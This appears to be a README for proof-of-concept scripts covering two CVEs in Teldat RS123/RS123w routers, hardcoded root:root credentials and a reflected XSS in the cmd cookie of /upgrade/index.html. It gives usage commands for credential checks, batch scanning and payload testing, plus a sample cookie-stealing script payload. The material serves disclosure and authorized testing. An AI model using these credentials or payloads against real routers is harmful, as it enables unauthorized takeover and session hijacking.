Teldat Router CVE-2022-39996 & CVE-2022-39997 POC

Proof of Concept for two vulnerabilities discovered in Teldat RS123 / RS123w routers.

Overview

Affected Product: Teldat RS123, RS123w Router

CVE-2022-39997 - Weak Password

Description

Teldat RS123/RS123w routers ship with hardcoded default credentials root:root. Administrators frequently leave these unchanged, allowing unauthenticated attackers to gain full administrative access via Telnet, SSH, HTTP, or other services.

Proof

Account: root
Password: root

Usage

pip install requests paramiko

# Basic check (Telnet, SSH, HTTP)
python CVE-2022-39997.py -t 192.168.1.1

# Full check (all services including HTTPS, FTP)
python CVE-2022-39997.py -t 192.168.1.1 --all

# Batch scan
python CVE-2022-39997.py -f targets.txt

CVE-2022-39996 - Reflected XSS

Description

The /upgrade/index.html endpoint reflects the cmd HTTP cookie value in the response without sanitization. An attacker can craft a malicious request containing JavaScript in the cmd cookie. When an authenticated administrator visits the page, the script executes in the browser context of the router's web interface, enabling session hijacking or configuration manipulation.

Proof

• Crafting XSS payload in the cmd cookie:

• XSS triggered in browser:

Usage

pip install requests

# Basic XSS check
python CVE-2022-39996.py -t 192.168.1.1

# With HTTP Basic Auth credentials
python CVE-2022-39996.py -t 192.168.1.1 -u root -p root

# Test multiple XSS payloads for confirmation
python CVE-2022-39996.py -t 192.168.1.1 --multi

# Generate standalone POC HTML page
python CVE-2022-39996.py -t 192.168.1.1 --gen-poc

# Custom XSS payload
python CVE-2022-39996.py -t 192.168.1.1 --payload "<script>alert(document.cookie)</script>"

Files

Disclaimer

These POC scripts are for educational and authorized security testing only. Do not use against systems you do not own or have explicit permission to test. The author is not responsible for any misuse or damage.